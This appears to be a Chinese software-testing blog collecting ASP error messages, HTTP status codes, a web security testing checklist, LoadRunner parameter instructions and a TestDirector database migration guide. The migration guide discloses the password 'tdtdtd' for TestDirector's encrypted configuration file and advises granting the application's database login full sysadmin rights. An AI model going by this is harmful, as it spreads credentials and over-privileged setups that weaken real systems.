    0157 启用缓冲。缓冲启用后不能关闭。
    0158 URL 丢失。URL 是必需的。
    0159 缓冲已关闭。缓冲必须启用。
    0160 日志记录错误。将条目写入日志失败。
    0161 数据类型错误。将 Variant 转换为 String 变量失败。
    0162 不能修改 Cookie。不能修改 Cookie 'ASPSessionID'。它是一个保留的 Cookie 名。
    0163 逗号用法无效。日志条目内不可使用逗号。请选择另一个分隔符。
    0164 TimeOut 值无效。指定的 TimeOut 值无效。
    0165 SessionID 错误。无法创建 SessionID 字符串。
    0166 对象未初始化。试图访问未初始化的对象。
    0167 会话初始化错误。初始化 Session 对象时发生错误。
    0168 禁止的对象使用。Session 对象中不能保存内部对象。
    0169 缺少对象信息。Session 对象中不能保存信息不全的对象。需要对象的线程模型信息。
    0170 删除会话错误。无法正确删除 Session。
    0171 路径丢失。必须为 MapPath 方法指定 Path 参数。
    0172 路径无效。MapPath 方法的路径必须是虚拟路径。使用了一个实际的路径。
    0173 路径字符无效。MapPath 方法的 Path 参数中指定了一个无效字符。
    0174 多个路径字符无效。MapPath 方法的 Path 参数中指定了无效的 '/' 或 '\\'。
    0175 不允许的路径字符。MapPath 方法的 Path 参数中不允许使用 '..' 字符。
    0176 未找到路径。MapPath 方法的 Path 参数与已知路径不符。
    0177 Server.createObject 失败。%s
    0178 Server.createObject 访问错误。检查权限时调用 Server.createObject 失败。对此对象的访问被拒绝。
    0179 应用程序初始化错误。初始化 Application 对象时发生错误。
    0180 禁止的对象使用。Application 对象中不能保存内部对象。
    0181 线程模型无效。使用单元线程模型的对象不能存储在 Application 对象中。
    0182 对象信息丢失。Application 对象中不能保存信息不全的对象。需要此对象的线程模型信息。
    0183 空 Cookie 项。不能保存空项 Cookie。
    0184 Cookie 名称丢失。必须为 Cookie 指定名称。
    0185 默认属性丢失。未找到对象的默认属性。
    0186 证书分析错误。

    0187 对象添加冲突。无法将对象添加到应用程序。应用程序被另一个要求添加对象的请求锁定。
    0188 禁止的对象使用。无法将用对象标记创建的对象添加到会话内部。
    0189 禁止的对象使用。无法将用对象标记创建的对象添加到应用程序内部。
    0190 意外错误。释放外部对象时发生可捕获错误。
    0191 意外错误。外部对象的 OnStartPage 方法中发生可捕获错误。
    0192 意外错误。外部对象的 OnEndPage 方法中发生可捕获错误。
    0193 OnStartPage 失败。外部对象的 OnStartPage 方法中出错。
    0194 OnEndPage 失败。外部对象的 OnEndPage 方法中出错。
    0195 无效的服务器方法调用。Session_OnEnd 和 Application_OnEnd 期间不能调用 Server 对象的此方法。
    0196 无法启动进程外组件。只能使用 InProc 服务器组件。若要使用 LocalServer 组件,必须设置 AspAllowOutOfProcComponents 配置数据库设置。请参阅帮助文件,了解重要注意事项。
    0197 禁止的对象使用。不能将有单元模型行为的对象添加到应用程序内部对象。
    0198 服务器正在关闭。不能处理请求。
    0199 禁止的对象使用。不能将 JScript. 对象添加到会话。
    0200 超出 'Expires' 属性范围。为 'Expires' 指定的日期和时间在 1980 年 1 月 1 日之前或在 2038 年 1 月 19 日 3:14:07 GMT 之后。
    0201 默认脚本语言无效。为此应用程序指定的默认脚本语言无效。
    0202 代码页丢失。代码页属性丢失。
    0203 代码页无效。指定的代码页属性无效。
    0204 CodePage 值无效。指定的 CodePage 值无效。
    0205 更改通知。创建更改通知事件失败。
    0206 不能调用 BinaryRead。使用 Request.Form. 集合后不能调用 BinaryRead。
    0207 不能使用 Request.Form。调用 BinaryRead 后不能使用 Request.Form. 集合。
    0208 不能使用通用 Request 集合。调用 BinaryRead 后不能使用通用 Request 集合。
    0209 TRANSACTION 属性的值非法。TRANSACTION 属性只能是 REQUIRED、REQUIRES_NEW、SUPPORTED 或 NOT_SUPPORTED。
    0210 方法未实施。此方法尚未实施。
    0211 对象超出范围。引用内置的 ASP 对象,此操作已不再有效。
    0212 无法清除缓冲区。客户端调试启用时,Response.Flush 之后不能有 Response.Clear。
    0214 路径参数无效。Path 参数超出允许的最大长度。
    0215 ENABLESESSIONSTATE 属性的值非法。ENABLESESSIONSTATE 属性的值只能是 TRUE 或 FALSE。
    0216 MSDTC 服务未运行。如果未运行 MSDTC 服务,则不能运行事务性网页。
    0217 对象标记中的范围无效。对象的作用范围必须是 Page、Session 或 Application。
    0218 LCID 丢失。LCID 属性丢失。
    0219 LCID 无效。指定的 LCID 不可用。
    0220 不允许请求 GLOBAL.ASA。不允许请求指向 GLOBAL.ASA 的 URL。
    0221 @ 命令指令无效。指定的 '|' 选项未知或无效。
    0222 TypeLib 规范无效。METADATA 标记包含无效的类型库规范。
    0223 未找到 TypeLib。METADATA 标签含有的类型库规范和注册表项不符。
    0224 无法加载 TypeLib。无法加载 METADATA 标记中指定的类型库。
    0225 无法包装 TypeLib。不能通过 METADATA 标记中指定的类型库创建类型库包装对象。
    0226 无法修改 StaticObjects。运行时无法修改 StaticObjects 集合。
    0227 Server.Execute 失败。调用 Server.Execute 失败。
    0228 Server.Execute 错误。加载此页时调用 Server.Execute 失败。
    0229 Server.Transfer 失败。调用 Server.Transfer 失败。
    0230 Server.Transfer 错误。加载此页时调用 Server.Transfer 失败。
    0231 Server.Execute 错误。使用的 URL 格式无效,或者使用了完全限定的绝对 URL。请使用相对 URL。
    0232 Cookie 规范无效。METADATA 标记包含无效的 Cookie 规范。
    0233 无法加载 Cookie 脚本源。无法加载 METADATA 标记中指定的 Cookie 脚本源文件。
    0234 包含指令无效。脚本块中可能没有服务器端包含文件指令。请使用 <SCRIPT> 标签的 SRC= 属性。
    0235 Server.Transfer 错误。使用的 URL 格式无效,或者使用了完全限定的绝对 URL。请使用相对 URL。
    0236 Cookie 规范无效。METADATA 标记包含无效的 SRC 参数或缺少该参数。
    0237 Cookie 规范无效。METADATA 标记包含无效的 NAME 参数或缺少该参数。
    0238 属性值丢失。没有为 '|' 属性指定值。
    0239 无法处理文件。不支持 UNICODE ASP 文件。
    0240 脚本引擎异常。ScriptEngine 在 '%s' 中从 '%s' 引发 '%X' 异常。
    0241 createObject 异常。'%s' 的 createObject 引发 %X 异常。
    0242 查询 OnStartPage 接口异常。查询的 '%s' 对象的 OnStartPage 或 OnEndPage 方法引发 %X 异常。
    0243 Global.asa 中的 METADATA 标记无效。Global.asa 中只能使用 METADATA TYPE="TypeLib"。
    0244 无法启用会话状态。应用程序中禁用会话时,无法启用会话状态。
    0245 代码页值混合使用。指定的 @CODEPAGE 值与包含文件的 CODEPAGE 或文件的已保存格式的值不同。
    0246 并发用户太多。请稍后再试..
    0247 BinaryRead 的参数无效。BinaryRead 的参数必须为非负值。
    0248 未处理脚本。必须处理此 ASP 文件才能使用 ObjectContext 对象。
    0249 无法在 Request 上使用 IStream。使用 Request.Form. 集合或 Request.BinaryRead 后无法在 Request 对象上使用 IStream。
    0250 默认代码页无效。为此应用程序指定的默认代码页无效。
    0251 超出响应缓冲区限制。ASP 页的执行引起响应缓冲区超出其配置限制。





    代 码=描述

    200 正常

    201 已创建

    202 已接受

    203 非授权信息

    204 无内容

    205 重置内容

    206 部分内容

    300 多项选择

    301 永久移动

    302 已找到

    303 查看其他

    304 没有修改

    305 使用代理

    307 临时重定向

    400 错误请求

    401 未授权

    402 需付费

    403 禁止

    404 未找到

    405 不允许使用此方法

    406 无法接受

    407 需要代理服务器身份验证

    408 请求超时

    409 冲突

    410 不存在

    411 要求长度

    412 不满足前提条件

    413 请求实体太大

    414 请求 - URI 太大

    415 不支持的媒体类型

    416 无法满足所要求的范围

    417 预期失败

    500 内部服务器错误

    501 未执行

    502 网关无效

    503 服务不可用

    504 网关超时

    505 不支持 HTTP 版本

  • 在网站测试中如何做好安全性测试(转载)

    2010-06-30 10:25:10

    安全性测试(security testing)是有关验证应用程序的安全服务和识别潜在安全性缺陷的过程。

    注意:安全性测试并不最终证明应用程序是安全的,而是用于验证所设立策略的有效性,这些对策是 基于威胁分析阶段所做的假设而选择的。


    以下是我读<<软件评测试教 程>>中的Web安全性测试章节内容,并进行修改的笔记,前面看了好多朋友写的,不过不是很全,希望对大家有所帮助,建议大家还是买 本<<软件评测试教程>>此书绝对物超所值^_^

    WEB安全性测试
    一个完整的WEB安全性测试可以从部 署与基础结构、输入验证、身份验证、授权、配置管理、敏感数据、会话管理、加密。参数操作、异常管理、审 核和日志记录等几个方面入 手。
    1.        安全体系测试
    1)        部署与基础结构
    l        网络是否提供了安全的通信
    l        部 署拓扑结构是否包括内部的防火墙
    l        部署拓扑结构中是否包括远程应用程序服务器
    l        基础结构安全性需求的限 制是什么
    l        目标环境支持怎样的信任级别
    2)        输入验证
    l        如何验证输入
    A.        是 否清楚入口点
    B.        是否清楚信任边界
    C.        是否验证Web页输入
    D.        是否对传递到 组件或Web服务的参数进行验证
    E.        是否验证从数据库中检索的数据
    F.        是否将方法集 中起来
    G.        是否依赖客户端的验证
    H.       应用程序是否易受SQL注 入攻击
    I.        应用程序是否易受XSS攻击
    l        如何处理输入
    3)        身份验证
    l        是 否区分公共访问和受限访问
    l        是否明确服务帐户要求
    l        如何验证调用者身份
    l        如何 验证数据库的身份
    l        是否强制试用帐户管理措施
    4)        授权
    l        如何向最终用户授权
    l        如 何在数据库中授权应用程序
    l        如何将访问限定于系统级资源
    5)        配置管理
    l        是否支 持远程管理
    l        是否保证配置存储的安全
    l        是否隔离管理员特权
    6)        敏感数据
    l        是 否存储机密信息
    l        如何存储敏感数据
    l        是否在网络中传递敏感数据
    l        是否记录敏感 数据
    7)        会话管理
    l        如何交换会话标识符
    l        是否限制会话生存期
    l        如 何确保会话存储状态的安全
    8)        加密
    l        为何使用特定的算法
    l        如何确保加密密钥的 安全性
    9)        参数操作
    l        是否验证所有的输入参数
    l        是否在参数过程中传递敏感数据
    l        是 否为了安全问题而使用HTTP头数据
    10)        异常管理
    l        是否使用结构化的异常处理
    l        是 否向客户端公开了太多的信息
    11)        审核和日志记录
    l        是否明确了要审核的活动
    l        是 否考虑如何流动原始调用这身份
    2.        应用及传输安全
    WEB应用系统的安全性从使用角度可以分为应用级的安全与传输级的安 全,安全性测试也可以从这两方面入手。
    应用级的安全测试的主要目的是查找Web系统自身程序设计中存在的安全 隐患,主要测试区域如下。
    l        注册与登陆:现在的Web应用系统基本采用先注册,后登录的方式。
    A.        必须 测试有效和无效的用户名和密码
    B.        要注意是否存在大小写敏感,
    C.        可以尝试多少次的限制
    D.        是 否可以不登录而直接浏览某个页面等。
    l        在线超时:Web应用系统是否有超时的限制,也就是说,用户登陆一定时间内(例如15分 钟)没有点击任何页面,是否需要重新登陆才能正常使用。
    l        操作留痕:为了保证Web应用系统的安全性,日志文件是至关重要的。需 要测试相关信息是否写进入了日志文件,是否可追踪。
    l        备份与恢复:为了防范系统的意外崩溃造成的数据丢失,备份与恢复手段是一个 Web系统的必备功能。备份与恢复根据Web系统对安全性的要求可以采用多种手段,如数据库增量备份、数据库完全备份、系统完全备份等。出于更高的安全性 要求,某些实时系统经常会采用双机热备或多级热备。除了对于这些备份与恢复方式进行验证测试以外,还要评估这种备份与恢复方式是否满足Web系统的安全性 需求。
    传输级的安全测试是考虑到Web系统的传输的特殊性,重点测试数据经客户端传送到服务器端可能存在的安全漏洞,以及服务器防范非法访问的能 力。一般测试项目包括以下几个方面。
    l        HTTPS和SSL测试:默认的情况下,安全HTTP(Soure HTTP)通过安全套接字SSL(Source Socket Layer)协议在端口443上使用普通的HTTP。HTTPS使用的公共密钥的加密长度决定的HTTPS的安全级别,但从某种意义上来说,安全性的保证 是以损失性能为代价的。除了还要测试加密是否正确,检查信息的完整性和确认HTTPS的安全级别外,还要注意在此安全级别下,其性能是否达到要求。
    l        服 务器端的脚本漏洞检查:存在于服务器端的脚本常常构成安全漏洞,这些漏洞又往往被黑客利用。所以,还要测试没有经过授权,就不能在服务器端放置和编辑脚本 的问题。
    l        防火墙测试:防火墙是一种主要用于防护非法访问的路由器,在Web系统中是很常用的一种安全系统。防火墙测试是一个很 大很专业的课题。这里所涉及的只是对防火墙功能、设置进行测试,以判断本Web系统的安全需求。

    另推荐安全性测试工具:
    Watchfire AppScan:商业网页漏洞扫描器(此工具好像被IBM收 购了,所以推荐在第一位)
    AppScan按照应用程序开发生命周期进行安全测试,早在开发阶段 就进行单元测试和 安全保证。Appscan能够扫描多种常见漏洞,例如跨网站脚本、HTTP应答切开、参数篡改、隐藏值篡改、后门/调试选项和缓冲区溢出等等。


    Acunetix Web Vulnerability Scanner:商业漏洞扫描器(目前用的比较多,不过这东东N占内存)
    Acunetix WVS自动检查您的网页程序漏洞,例如SQL注入、跨网站脚本和验证页面弱密码破解。Acunetix WVS有着非常友好的用户界面,还可以生成个性化的网站安全评估报告。

    另附我以前在51testing上发过“Yeepay 网站安全测试漏洞之跨站脚本注入
    http://bbs.51testing.com/thread-113784-1-1.html
    Sql 注入和跨站脚本这种漏洞比较常见,另在支付宝网站注册页 面也存在跨站脚本情况,希望能早点发现^_^
  • loadrunner之参数

    2008-12-18 16:36:48

      做负载或者压力测试时,很多人选择使用了Loadrunner测试工具。该工具的基本流程是先将用户的实际操作录制成脚本,然后产生数千个虚拟用户运行脚本(虚拟用户可以分布在局域网中不同的PC机上),最后生成相关的报告以及分析图。但是在录制脚本的过程中会遇到很多实际的问题,比如不同的用户有不同的使用数据,这就牵涉到参数的设置问题。本文就Loadrunner中参数的设置进行说明,希望对大家有所帮助。

      在录制程序运行的过程中,VuGen(脚本生成器) 自动生成了包含录制过程中实际用到的数值的脚本。如果你企图在录制的脚本中使用不同的数值执行脚本的活动(如查询、提交等等),那么你必须用参数值取代录制的数值。这个过程称为参数化脚本。

      本文主要包括如下内容:理解参数的局限性、建立参数、定义参数的属性、理解参数的类型、为局部数据类型设置参数的属性、为数据文件设置参数的属性、从已经存在的数据库中引入数据。

      除了GUI,以下的内容适合于各种类型的用户脚本。

      一、关于参数的定义在你录制程序运行的过程中,脚本生成器自动生成由函数组成的用户脚本。函数中参数的值就是在录制过程中输入的实际值。

      例如,你录制了一个Web应用程序的脚本。脚本生成器生成了一个声明,该声明搜索名称为“UNIX”的图书的数据库。当你用多个虚拟用户和迭代回放脚本时,也许你不想重复使用相同的值“UNIX”。那么,你就可以用参数来取代这个常量。结果就是你可以用指定的数据源的数值来取代参数值。数据源可以是一个文件,也可以是内部产生的变量。

      用参数表示用户的脚本有两个优点:① 可以使脚本的长度变短。② 可以使用不同的数值来测试你的脚本。例如,如果你企图搜索不同名称的图书,你仅仅需要写提交函数一次。在回放的过程中,你可以使用不同的参数值,而不只搜索一个特定名称的值。

      参数化包含以下两项任务:① 在脚本中用参数取代常量值。② 设置参数的属性以及数据源。

      参数化仅可以用于一个函数中的参量。你不能用参数表示非函数参数的字符串。另外,不是所有的函数都可以参数化的。

      二、参数的创建可以指定名称和类型来创建参数。不存在对脚本中参数个数的限制。在Web程序的用户脚本中,你可以使用如下过程在基于文本的脚本视图中创建参数。或者,也可以在基于图标的树形视图中创建参数。

      在基于文本的脚本视图中创建一个参数:1、 将光标定位在要参数化的字符上,点击右键。打开弹出菜单。

      2、 在弹出菜单中,选择“Replace with a Parameter”。选择或者创建参数的对话框弹出。

      3、 在“Parameter name”中输入参数的名称,或者选择一个在参数列表中已经存在的参数。

      4、 在“Parameter type”下拉列表中选择参数类型。

      5、 点击“OK”,中国IT实验室关闭该对话框。脚本生成器便会用参数中的值来取代脚本中被参数化的字符,参数用一对“{}”括住。

      注意:在参数化CORBA或者General-Java 用户脚本的时候,必须参数化整个字符串,而不是其中的部分。另外注意:除了Web或者WAP,缺省的参数括号对于任何脚本都是 “{}”。你可以在“General Options”对话框中的“Parameterization”标签(Tools>General Options)中定义参数括号种类。

      6、用同样的参数替换字符的其余情况,选中参数,点击右键,弹出菜单。从弹出的菜单中,选择“Replace More Occurrences”。搜索和替换对话框弹出。“Find What”中显示了你企图替换的值。“Replace With”中显示了括号中参数的名称。选择适当的检验框来匹配整个字符或者大小写。如果要搜索规则的表达式(。,!,?等等),选中“Regular Expression”检验框,然后点击“Replace”或者“Replace All”。

      注意:小心使用“Replace All”,尤其替换数字字符串的时候。脚本生成器将会替换字符出现的所有情况。

      7、如果想用以前定义过的参数来替换常量字符串的话,选中该字符串,点击右键,然后选择“Use Existing Parameter”,子菜单“Use Existing Parameters”弹出。从子菜单“Use Existing Parameters”选择参数,或者用“Select from Parameter List”来打开参数列表对话框。

      注意:如果用以前定义过的参数来替换常量字符串的话,那么,使用“Parameter List”非常方便。同时,还可以查看和修改该参数的属性。

      8、 对于已经用参数替换过的地方,如果想取回原来的值,那么,就在参数上点击右键,然后选择“Restore Original value”。

      在Web用户脚本的树形视图中创建参数:1、将光标定位在企图参数化的地方,点击右键,从弹出的菜单中选择“Properties”。则相关的属性对话框打开。

      2、点击在要参数化的参量的旁边的“ABC”形状的图标。“Select or Create Parameter”对话框打开。

      3、在“Parameter name”中输入参数的名称,或者从列表中选择一个已经存在的参数。

      4、在“Parameter type”中输入参数的类型。

      5、点击“OK”关闭该对话框。用户脚本生成器会用参数来替换最初的字符串常量,并用一个表格形状的图标替换“ABC”形状的图标。

      6、要恢复参数化以前的值,点击图标,然后从弹出的菜单中选择“Undo Parameter”,则以前的值便会重现。

      三、定义参数的属性创建参数完成后,就可以定义其属性了。参数的属性定义就是定义在脚本执行过程中,参数使用的数据源。在Web用户脚本中,你既可以在基于文本的脚本视图中定义参数属性,也可以在基于图标的树形视图中定义参数属性。下面的过程将教你如何在基于本文的脚本视图中定义参数属性。

      在基于文本的脚本视图中定义参数属性步骤:1、 在参数上点击右键,有菜单弹出。

      2、 在弹出的菜单中,选择“Parameter Properties”。参数属性对话框打开,显示和当前参数类型相关的属性。

      3、 输入参数的属性值。

      4、 点击“Close”关闭参数属性对话框。

      在Web用户脚本的树形视图中定义参数的属性:1、 将关标定位在参数上,然后点击右键,选择“Properties”。属性对话框打开。

      2、 点击要定义属性的参数旁边的表格形状按钮,点击右键,选择“Parameter Properties”。参数属性对话框打开,和参数类型相关的属性显示出来。

      3、 输入参数的属性。

      4、 点击“Close”关闭参数属性对话框。

      使用参数列表:  使用参数列表可以在任意时刻查看所有的参数,创建新的参数、删除参数,或者修改已经存在参数的属性。

      1、 点击参数列表按钮或者用“Vuser>Parameter List”。参数列表对话框打开。

      2、 要创建新的参数,点击“New”按钮。新的参数则被添加在参数树中,该参数有一个临时的名字,你可以给它重新命名,然后回车。设置参数的类型和属性,点击“OK”,关闭参数列表对话框。

      注意:不要将一个参数命名为“unique”,因为这个名称是用户脚本生成器本身的。用户脚本生成器创建新的参数,但是不会自动用该参数在脚本中替换任意选中的字符串。

      3、 要删除已有的参数,那么,要先从参数树中选择该参数,点击“Delete”,然后确认你的行为即可。

      4、 要修改已有参数,那么,要先从参数树中选择该参数,然后编辑参数的类型和属性。

      四、理解参数的类型  在你定义参数属性的时候,要指定参数值的数据源。你可以指定下列数据源类型的任何一种:Internal Data―― 虚拟用户内部产生的数据。

      Data Files ――存在于文件中的数据。可能是已存在的文件或者是用脚本生成器新创建的。

      User-Defined Functions―― 调用外部DLL函数生成的数据  Internal Data包括以下几种:1、 Date/Time  Date/Time用当前的日期/时间替换参数。要指定一个Date/Time格式,你可以从菜单列表中选择格式,或者指定你自己的格式。这个格式应该和你脚本中录制的Date/Time格式保持一致。

      2、 Group Name  Group Name 用虚拟用户组名称替换参数。在创建scenario的时候,你可以指定虚拟用户组的名称。当从用户脚本生成器运行脚本的时候,虚拟用户组名称总是 None. 3、 Load Generator Name  Load Generator Name用脚本负载生成器的名称替换参数。负载生成器是虚拟用户在运行的计算机。

      4. Iteration Number  Iteration Number用当前的迭代数目替换参数。

      5、 Random Number  Random Number用一个随机数替换参数。通过指定最大值和最小值来设置随机数的范围。

      6、 Unique Number  Unique Number用一个唯一的数字来替换参数。你可以指定一个起始数字和一个块的大小。

      7、 Vuser ID  Vuser ID用分配给虚拟用户的ID替换参数,ID是由Loadrunner的控制器在scenario运行时生成的。如果你从脚本生成器运行脚本的话,虚拟用户的ID总是-1.

      五、数据文件  数据文件包含着脚本执行过程中虚拟用户访问的数据。局部和全局文件中都可以存储数据。可以指定现有的ASCII文件、用脚本生成器创建一个新的文件或者引入一个数据库。在参数有很多已知值的时候数据文件非常有用。数据文件中的数据是以表的形式存储的。一个文件中可以包含很多参数值。每一列包含一个参数的数据。列之间用分隔符隔开,比如说,用逗号。  对数据文件设置参数属性  如果使用文件作为参数的数据源,必须指定以下内容:文件的名称和位置、包含数据的列、文件格式,包括列的分隔符、更新方法。  如果参数的类型是“File”,打开参数属性(Parameter Properties)对话框,设置文件属性如下:1、 在“File path”中输入文件的位置,或者点击“Browse”指定一个已有文件的位置。缺省情况下,所有新的数据文件名都是 “parameter_name.dat”,注意,已有的数据文件的后缀必须是。dat.

      2、点击“Edit”。记事本打开,里面第一行是参数的名称,第二行是参数的初始值。使用诸如逗号之类的分隔符将列隔开。对于每一新的表行开始一行新的数据。  注意:在没有启动记事本的情况下如果想添加列,就在参数属性对话框中点击“Add Col”,那么“Add new column”对话框就会弹出。输入新列的名称,点击“OK”。脚本生成器就会添加该列到表中,并显示该列的初始值。

      3、 在“Select Column”部分,指明包含当前参数数据的列。你可以指定列名或者列号。列号是包含你所需要数据的列的索引。列名显示在每列的第一行(row 0)。

      4、 在“Column delimiter”中输入列分隔符,你可以指定逗号、空格符等等。

      5、 在“First data line”中,在脚本执行的时候选择第一行数据使用。列标题是第0行。若从列标题后面的第一行开始的话,那就在“First data line”中输入1.如果没有列标题,就输入0.

      6、 在“Select next row”中输入更新方法,以说明虚拟用户在脚本执行的过程中如何选择表中的数据。方法可以是:连续的、随机的、唯一的、或者与其它参数表的相同行。

      6.1、 顺序(Sequential):该方法顺序地给虚拟用户分配参数值。如果正在运行的虚拟用户访问数据表的时候,它会取到下一行中可用的数据。

      6.2、随机(Random):该方法在每次迭代的时候会从数据表中取随机数6.3、 使用种子取随机顺序(Use Random Sequence with Seed):如果从Loadrunner的控制器来运行scenario,你可以指定一个种子数值用于随机顺序。每一个种子数值在测试执行的时候代表了一个随机数的顺序。无论你何时使用这个种子数值,在scenario中同样的数据顺序就被分配给虚拟用户。如果在测试执行的时候发现了一个问题并且企图使用同样的随机数序列来重复测试,那么,你就可以启动这个功能(可选项)。

      6.4、 唯一(Unique):Unique方法分配一个唯一的有顺序的值给每个虚拟用户的参数。

      6.5 、与以前定义的参数取同一行(Same Line As ):该方法从和以前定义过的参数中的同样的一行分配数据。你必须指定包含有该数据的列。在下拉列表中会出现定义过的所有参数列表。注意:至少其中的一个参数必须是Sequential、Random或者Unique.如果数据表中有三列,三个参数定义在列表中:id1,name1和title1,如下:。

      ID Name Title 132 Kim Manager 187 Cassie Engineer 189 Jane VP对于参数id1,你可以指示虚拟用户使用Random方法,而为参数name1和title1就可以指定方法“Same Line as id1”。所以,一旦ID“132”被使用,那么,姓名(Name)“Kim”和职位(Title)“Manager”同时被使用。

      7、Updta value on数据的更新方法7.1、Each iteration――每次反复都要取新值。

      7.2、Each occurrence――只要发现该参数就要重新取值。

      7.3、Once――在所有的反复中都使用同一个值

      8、When out of values超出范围:(选择数据为unique时才可用到)

      8.1、Abort Vuser――中止8.2、Continue in a cyclic manner――继续循环取值8.3、Continue with last value――取最后一个值

      9、Allocate Vuser values in the Controller在控制器中分配值:(选择数据为unique时才可用到)

      搜索更多相关主题的帖子: 测试工具

  • LoadRunner本机录制http协议程序遇到的问题以及解决方法

    2008-12-18 11:49:15

     
    文章出处:51testing博客 作者:Mushroom 发布时间:2006-07-31

    在本机录制asp.net程序petshop的时候刚开始使用了传统的http://localhost/mspetshophttp://127.0.0.1/mspetshop录制不行,于是想到了朴老上课讲的修改hosts文件的方法,一尝试果然可行。暗爽之余不敢独享。

    方法:(以下以win2000为例)

    用记事本打开host文件

    c:\winnt\system32\drivers\etc\hosts

    然后末尾添加一行

    127.0.0.1        www.mushroom.com

    然后就能用http://www.mushroom.com/mspetshop录制了

  • TD8.0测试管理工具

    2008-12-13 09:38:53

    摘要】TestDirector, (以下简称TD)它是Mercury Interactive 公司推出的基于WEB浏览器环境下的测试管理工具。通过TD的流程控制可以规范软件企业的测试流程、改善测试质量、减轻测试人员的负担、提高工作效率。在接触TD过程中仍然存在着很多未知领域等待着我们这些从事软件测试工作的同行去研究去拓展,如何更有效的使用TD提高我们的测试管理,将是我们继续研究关注的方向。本文总结了我们在移植TD项目方面的一些经验和技巧,希望对大家有所帮助。

    【关键词】项目移植集成工作环境分布式工作环境

    这里我们先将以上的几个名词解释一下:

    项目移植:这里说的项目移植是指将已经建立的TD项目整体文件在保证数据安全和完整的前提下移植到其他服务器的过程,这个过程包括以下几个方面(1)数据库的移植(2)项目文件的移植(3)项目配置文件的移植。经过移植后的TD项目可以实现双机备份的功能。

    集成工作环境:我们把TD服务程序和TD 使用的数据库存放在同一台计算机上的这种工作环境称为集成工作环境。这种工作环境节省成本,维护较复杂,不利于数据的安全性。

    分布式工作环境:我们把TD服务器程序和TD后台使用的数据库存放在不同机器上,也就是使用单独的一台计算机作为TD项目的数据库服务器,TD服务程序通过网络访问数据库服务器,这种工作环境称为分步式工作环境。这种环境的成本较高,但是利用维护,数据的安全性较高。对一些专业性的企业尤其是需要将TD开放到Internet上,我们建议使用这种工作环境。

    移植说明

    基于IIS WEB服务下的TD服务程序支持的数据库有ACCESS,SQL SERVER、SYBASE、ORACLE。由于ACCESS数据库的迁移比较容易本文就不介绍,本文主要讨论SQL SERVER数据库的移植。掌握SQL SERVER数据库类型的TD项目移植,对ORACLE、SYBASE类型数据库的项目移植工作也能做到触类旁通。下面大家就跟我们一切进入TD项目移植的具体工作吧!

    下面的移植工作,我们选用了一个名为:E-CIS的项目进行实例移植,同时我们将其他计算机上的TD项目(SAAA、SIMS、E-ICID)与E-CIS进行了合并。

    。集成工作环境的数据迁移

    1、拟分析产生的原因和解决方法

    产生的原因:

    由于我们配置的TD服务器与数据库服务器是同一台计算机,一旦计算机发生故障,TD项目中的数据既便是备份出来也很难恢复,其主要原因是:

    • 使用TD建立项目时,TD会在数据库中自动建立一个名为TD的用户,我们运行的E-CIS项目中所有的表都是由TD这个用户建立的,无法删除和添加这个用户。
    • 在SQL查询分析器中可以看到所有相关的表都是td.*的格式,这样会造成如果SQL查询分析器是以其他用户登入,执行select * from all list出现错误。出现一定要加前缀后才能查询出来数据问题,这个就是造成恢复数据库后即使其他项目都配置正确,但TD依然不能正常使用的一个重要原因。
    • 在安装TD后会在安装盘符:\Program Files\Common Files\Mercury Interactive\Domsinfo目录下,有一个用来存放系统信息的ACCESS数据库Doms.mdb,这个数据库由TD创建,并且是经过加密的,它存放着TD所有的配置信息。这个数据库是是否能够成功恢复TD项目的一个重要因素。

    2、移植前的备份工作

    在正式移植之前,我们首先要做好数据的备份工作,这也是我们移植工作的一部分,虽然我们现在的移植技术已经相对较成熟,但是我们还是要建议大家移植之前的备份是很有必要的。备份主要备份以下的数据:

    .备份DomsInfo目录;

    默认在C:\Program Files\Common Files\Mercury Interactive下。这个目录包含了Doms.mdb文件(用户信息和工程列表)、connection strings(连接字符串)、parameters(参数)、global style sheets(全局风格表)、the database template(Empty_DB.mdb)(一些临时数据)

    .备份TD项目安装文件;

    TD_Dir包含每个工程的自动测试、附件、设置、风格列表。默认在C:\TD_Dir\Default目录下,打开这个目录可以看到TD的工程文件,我们需要将这些工程文件备份下来。

    .备份项目数据库;

    备份项目用的数据库文件。

    3、移植工作

    移植工作分为四个部分:

    ――数据库的迁移;

    ――建立访问数据表文件的TD用户;

    ――修改TD的项目配置数据库(Access);

    ――修改Project中的INI文件。

    1)数据库的迁移:

    数据库的移植目的是:将项目数据库从原来的计算机移植到新的计算机。

    具体思路:通过SQL Server 集成的导入和导出数据功能将原数据库文件导入新的SQL Server服务器中。在这个过程,原表中由TD用户创建的表也会更改为DBO用户创建。例如:数据库中的表ALL_LISTS原来由td用户创建,移植后ALL_LISTS表的用户更改为dbo这样问题也就解决了。

    我们现在开始图解数据库的操作:

              从开始菜单中打开“导入和导出数据”如图:
       

             单击 “Next”

       

             选择要恢复的数据源后单击“Next”

       

       设置数据库恢复到的位置,注意:需要在数据库 这里设定数据库被恢复的名称,点击    

       

              建立数据库名称后,单击确定后,再“Next”按钮:

       

             再“Next”(这个选项选择第三项更具有完整性)

       

             选择需要恢复的数据表后(在这里选择全部表),再”Next”:

       

             准备开始恢复,单击“Next”:

       

             单击”Finish”按钮,开始恢复:

       

              恢复成功后出现提示:

       

    数据库恢复完成。

    2)建立访问数据表文件的TD用户:

    建立td用户的目的是:使td用户具有访问新恢复项目数据库的权限。

    具体思路:建立一个名为td的用户,使这个用户具有访问TD项目数据库的控制权限,TD通过这个用户对项目数据库进行增、删、改的操作。

    打开企业管理器,在目标数据库计算机中建立TD用户,并且设定TD用户访问的数据库。

       

            在登录项中新建用户,在弹出的对话框中设定td用户相关的属性,如:

       

    设定的密码可以根据用户确定,这里设定为:tdtdtd;在“服务器角色”中设定td用户的权限,我们给出建议设定为“System Administrators”:

       

                  完成“服务器角色”的设定,为td用户设定数据库访问的权限:

       

    设定td用户能够访问TD项目的数据库和Master数据库。设定完成后,确认td用户默认数据库是否为Default_e-cis_db

    设定完成。

    3):修改TD的配置项目文件(Access):

    修改配置文件目的是:将项目文件(TDDIR目录下存在的项目文件)和项目数据库进行关联。

    具体思路:修改ACCESS数据库中每一个配置参数,使TD项目文件和项目数据库关联,通过这个操作我们还可以实现多个TD项目合并删除的功能。(在这里我们就不详细介绍,有兴趣的朋友可以研究一下)

    在TD安装的计算机中的C:\Program Files\Common Files\Mercury Interactive\DomsInfo目录下打开doms.mdb文件,此文件是经过加密处理的,其密码为:tdtdtd

    打开后可以看到相应的表:

       

